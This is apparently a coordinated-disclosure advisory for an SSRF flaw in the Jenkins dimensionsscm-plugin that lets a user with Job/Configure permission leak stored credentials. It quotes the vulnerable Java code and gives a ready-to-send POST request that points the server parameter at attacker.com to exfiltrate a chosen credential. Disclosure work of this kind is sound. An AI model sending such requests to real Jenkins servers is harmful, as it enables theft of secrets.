Coordinated Disclosure Timeline

Summary

A Server-Side Request Forgery (SSRF) vulnerability in jenkinsci/dimensionsscm-plugin allows the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the dimensionsscm.serverPlugin parameter in the DimensionsScm#doCheckServerConfig method and the ACL.System access to the credentials storage.

Product

dimensionsscm-plugin Jenkins plugin

Tested Version

0.9.3

Details

Arbitrary secret leakage via SSRF (GHSL-2023-070)

The hudson.plugins.dimensionsscm.DimensionsSCM$DescriptorImpl#doCheckServerGlobal method does not validate/sanitize the input from the dimensionsscm.serverPlugin query parameter, enabling low-privileges attackers to leverage the SSRF vulnerability to leak arbitrary secret credentials.

Affected source code: DimensionsSCM.java

@RequirePOST
public FormValidation doCheckServerGlobal(final StaplerRequest req, final StaplerResponse rsp,
                                          @QueryParameter("credentialsId") final String credentialsId,
                                          @QueryParameter("credentialsType") final String credentialsType,
                                          @QueryParameter("dimensionsscm.userName") final String user,
                                          @QueryParameter("dimensionsscm.passwd") final String passwd,
                                          @QueryParameter("dimensionsscm.serverUser") final String serverUser,
                                          @QueryParameter("dimensionsscm.serverPlugin") final String serverPlugin,
                                          @QueryParameter("dimensionsscm.databaseUser") final String databaseUser,
                                          @QueryParameter("dimensionsscm.databasePlugin") final String databasePlugin,
                                          @AncestorInPath final Item item) {
    String xuser = null;
    String xpasswd = null;
    String xserver = null;
    String xdatabase = null;
    if (Credentials.isPluginDefined(credentialsType)) {
        UsernamePasswordCredentials credentials = initializeCredentials(credentialsId);
        if (credentials != null) {
            xuser = credentials.getUsername();
            xpasswd = credentials.getPassword().getPlainText();
        }
        xserver = serverPlugin;
        xdatabase = databasePlugin;
    } else if (Credentials.isUserDefined(credentialsType)) {
        xuser = user;
        xpasswd = passwd;
        xserver = serverUser;
        xdatabase = databaseUser;
    }
    return checkServer(item, xuser, xpasswd, xserver, xdatabase);
}

In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be read and the server to send it to. For example, to leak the FLAG credential to attacker.com the authenticated attacker would need to send the following request:

POST /jenkins/job/<JOB>/descriptorByName/hudson.plugins.dimensionsscm.DimensionsSCM/checkServerGlobal?dimensionsscm.serverPlugin=https%3A%2F%2Fattacker.com&dimensionsscm.databasePlugin=foo&credentialsId=FLAG&credentialsType=pluginDefined HTTP/1.1
Host: localhost:8080
Content-Length: 0
Jenkins-Crumb: 510034da8d86528bb0c1cc84d063deb09d1504f1cb2712bf3c9d0035ef090335
Cookie: JSESSIONID.b304270b=node01rzk92vozkl5913c3c4gujx17y14.node0; jenkins-timestamper-offset=-7200000; screenResolution=1728x1117
Connection: close

The code responsible to read the arbitrary credentials is:

    private static UsernamePasswordCredentials initializeCredentials(final String credentialsId) {
        UsernamePasswordCredentials credentials = null;
        if (credentialsId != null && !credentialsId.isEmpty()) {
            Item dummy = null;
            credentials = CredentialsMatchers.firstOrNull(
                    CredentialsProvider.lookupCredentials(
                            UsernamePasswordCredentials.class, dummy, ACL.SYSTEM,
                            Collections.<DomainRequirement>emptyList()),
                    CredentialsMatchers.allOf(
                            CredentialsMatchers.withId(credentialsId))
            );
        }
        return credentials;
    }

Note that regardless of the user privileges, the credentials are read with ACL.SYSTEM permissions.

Once the credentials are retrieved, they are sent to the attacker-controlled server in checkServer

private FormValidation checkServer(final Item item, final String xuser, final String xpasswd, final String xserver, final String xdatabase) {
        if (item == null) {
            Jenkins.get().checkPermission(Jenkins.ADMINISTER);
        } else {
            item.checkPermission(Item.CONFIGURE);
        }
        final DimensionsAPI connectionCheck = newDimensionsAPIWithCheck();
        try {
            if (xpasswd == null || xuser == null) {
                return FormValidation.error("User name and password must be specified.");
            }
            Logger.debug("Server connection check to user [" + xuser
                    + "], database [" + xdatabase + "], server [" + xserver + "]");
            final long key = connectionCheck.login(xuser, Secret.fromString(xpasswd), xdatabase, xserver);
            Logger.debug("Server connection check returned key [" + key + "]");
            if (key < 1L) {
                return FormValidation.error("Connection test failed");
            } else {
                connectionCheck.logout(key);
                return FormValidation.ok("Connection test succeeded!");
            }
        } catch (Exception e) {
            final String message = Values.exceptionMessage("Server connection check error", e, "no message");
            Logger.debug(message, e);
            return FormValidation.error(message);
        }
    }
}

Note that the attacker still needs to have Job/Configure permissions to be able to leak the credentials.

Impact

This vulnerability can lead to sensitive secret credentials leak.

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-070 in any communication regarding this issue.